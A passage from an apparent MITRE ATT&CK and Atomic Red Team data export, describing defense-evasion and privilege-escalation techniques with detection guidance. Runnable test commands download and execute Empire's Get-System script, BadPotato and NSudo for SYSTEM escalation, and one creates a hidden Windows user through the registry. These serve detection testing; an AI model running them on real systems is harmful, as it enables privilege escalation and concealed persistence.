- "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1480", - "url": "https://attack.mitre.org/techniques/T1480" - }, - { - "source_name": "FireEye Outlook Dec 2019", - "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html", - "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020." - }, - { - "source_name": "FireEye Kevin Mandia Guardrails", - "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/", - "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", - "modified": "2022-05-03T02:39:29.314Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Execution Guardrails", - "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Host Forensic Analysis", - "Signature-based Detection", - "Static File Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1134.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", - "type": "attack-pattern", - "created": "2020-02-18T16:39:06.289Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.001", - "url": "https://attack.mitre.org/techniques/T1134/001" - }, - { - "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", - "source_name": "Microsoft Command-line Logging" - } - ], - "modified": "2020-03-26T21:29:18.608Z", - "name": "Access Token Manipulation: Token Impersonation/Theft", - "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control", - "System access controls", - "File system access controls" - ], - "identifier": "T1134.001" - }, - "atomic_tests": [ - { - "name": "Named pipe client impersonation", - "auto_generated_guid": "90db9e27-8e7c-4c04-b602-a45927884966", - "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).\n\nReference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "`SeDebugPrivilege` token duplication", - "auto_generated_guid": "34f0a430-9d04-4d98-bcb5-1989f14719f0", - "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Launch NSudo Executable", - "auto_generated_guid": "7be1bc0f-d8e5-4345-9333-f5f67d742cb9", - "description": "Launches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "nsudo_path": { - "description": "Path to the NSudo bat file", - "type": "path", - "default": "$env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "NSudo.bat must exist in the specified path #{nsudo_path}\n", - "prereq_command": "if (Test-Path #{nsudo_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\NSudo_8.2_All_Components.zip \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path $env:TEMP\\NSudo_8.2_All_Components.zip -DestinationPath $env:TEMP\\NSudo_8.2_All_Components -Force\nRename-Item \"$env:TEMP\\NSudo_8.2_All_Components\\NSudo Launcher\" $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\nRemove-Item $env:TEMP\\NSudo_8.2_All_Components.zip -Recurse -ErrorAction Ignore\n" - } - ], - "executor": { - "command": "Start-Process #{nsudo_path} -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n", - "name": "powershell" - } - }, - { - "name": "Bad Potato", - "auto_generated_guid": "9c6d799b-c111-4749-a42f-ec2f8cb51448", - "description": "https://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "BadPotato.exe must exist in the temp directory\n", - "prereq_command": "if (Test-Path $env:temp\\BadPotato.exe) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\BadPotato.exe \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n" - } - ], - "executor": { - "command": "cd $env:temp\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n", - "cleanup_command": "taskkill /f /im notepad.exe\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1205.001": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd", - "type": "attack-pattern", - "created": "2020-07-01T18:23:25.002Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1205.001", - "url": "https://attack.mitre.org/techniques/T1205/001" - }, - { - "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631", - "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", - "source_name": "Hartrell cd00r 2002" - } - ], - "modified": "2022-03-11T18:31:23.996Z", - "name": "Port Knocking", - "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Network Traffic: Network Traffic Flow", - "Network Traffic: Network Connection Creation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1564.002": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Omkar Gudhate" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", - "created": "2020-03-13T20:12:40.876Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.002", - "url": "https://attack.mitre.org/techniques/T1564/002" - }, - { - "source_name": "Cybereason OSX Pirrit", - "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", - "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021." - }, - { - "source_name": "Apple Support Hide a User Account", - "url": "https://support.apple.com/en-us/HT203998", - "description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021." - }, - { - "source_name": "FireEye SMOKEDHAM June 2021", - "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", - "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021." - }, - { - "source_name": "Hide GDM User Accounts", - "url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/", - "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022." - }, - { - "source_name": "US-CERT TA18-074A", - "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", - "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user\u2019s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", - "modified": "2022-04-19T02:31:01.315Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Hide Artifacts: Hidden Users", - "x_mitre_detection": "Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "User Account: User Account Creation", - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "File: File Modification", - "Process: Process Creation", - "User Account: User Account Metadata" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1564.002" - }, - "atomic_tests": [ - { - "name": "Create Hidden User in Registry", - "auto_generated_guid": "173126b7-afe4-45eb-8680-fa9f6400431c", - "description": "Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.\nReference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "user_password": { - "description": "Password for new user account", - "type": "string", - "default": "At0micRedTeam!" - }, - "user_name": { - "description": "Username", - "type": "string", - "default": "AtomicOperator" - } - }, - "executor": { - "command": "NET USER #{user_name}$ #{user_password} /ADD /expires:never \nREG ADD \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" /v #{user_name}$ /t REG_DWORD /d 0\n", - "cleanup_command": "reg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" /v #{user_name}$ /f >nul 2>&1\nnet user ${user_name}$ /delete >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1134.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", - "type": "attack-pattern", - "created": "2020-02-18T18:03:37.481Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.003", - "url": "https://attack.mitre.org/techniques/T1134/003" - }, - { - "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", - "source_name": "Microsoft Command-line Logging" - } - ], - "modified": "2020-02-18T18:03:37.481Z", - "name": "Make and Impersonate Token", - "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control", - "System access controls", - "File system access controls" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1196": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", - "type": "attack-pattern", - "created": "2018-04-18T17:59:24.739Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1196", - "url": "https://attack.mitre.org/techniques/T1196" - }, - { - "source_name": "Microsoft Implementing CPL", - "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", - "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx" - }, - { - "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", - "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", - "source_name": "TrendMicro CPL Malware Jan 2014" - }, - { - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", - "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", - "source_name": "TrendMicro CPL Malware Dec 2013" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", - "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", - "source_name": "Palo Alto Reaver Nov 2017" - } - ], - "modified": "2020-01-31T18:59:21.682Z", - "name": "Control Panel Items", - "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Process whitelisting" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1562.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vikas Singh, Sophos", - "Emile Kenning, Sophos", - "Austin Clark, @c2defense" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", - "created": "2020-02-21T20:56:06.498Z", - "x_mitre_version": "2.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1562.003", - "url": "https://attack.mitre.org/techniques/T1562/003" - }, - { - "source_name": "Sophos PowerShell command audit", - "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit", - "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020." - }, - { - "source_name": "Microsoft PowerShell Command History", - "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7", - "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020." - }, - { - "source_name": "Sophos PowerShell Command History Forensics", - "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics", - "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020." - }, - { - "url": "https://capec.mitre.org/data/definitions/13.html", - "source_name": "capec", - "external_id": "CAPEC-13" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging.", - "modified": "2022-04-20T18:11:45.153Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Impair Defenses: HISTCONTROL", - "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Sensor Health: Host Status", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis", - "Log analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1562.003" - }, - "atomic_tests": [] - }, - "T1497.002": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Deloitte Threat Library Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", - "type": "attack-pattern", - "created": "2020-03-06T21:04:12.454Z", - "created_by_ref": 